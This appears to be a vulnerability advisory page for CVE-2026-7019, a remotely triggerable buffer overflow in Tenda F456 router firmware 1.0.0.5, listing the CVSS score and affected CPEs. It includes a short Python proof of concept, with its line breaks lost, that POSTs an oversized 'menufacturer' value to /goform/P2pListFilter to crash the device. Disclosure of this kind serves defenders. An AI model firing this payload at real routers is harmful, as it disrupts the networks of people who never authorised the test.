Security Vulnerability Report
中文
CVE-2026-7019 CVSS 8.8 HIGH

CVE-2026-7019

Published: 2026-04-26 05:16:01
Last Modified: 2026-04-29 18:44:25

Description

A vulnerability was identified in Tenda F456 1.0.0.5. The impacted element is the function fromP2pListFilter of the file /goform/P2pListFilter. The manipulation of the argument menufacturer/Go leads to buffer overflow. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2026-7019 Buffer Overflow in Tenda F456. Sends a large payload to the 'menufacturer' parameter to trigger the crash. """ url = f"http://{target_ip}/goform/P2pListFilter" # Create a payload with 1000 'A' characters to trigger the overflow payload = "A" * 1000 data = { "menufacturer": payload } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") print("If the device crashes, the exploit was successful.") except requests.exceptions.RequestException as e: print(f"Request failed (device likely crashed): {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)

References

Raw JSON Data

JSON
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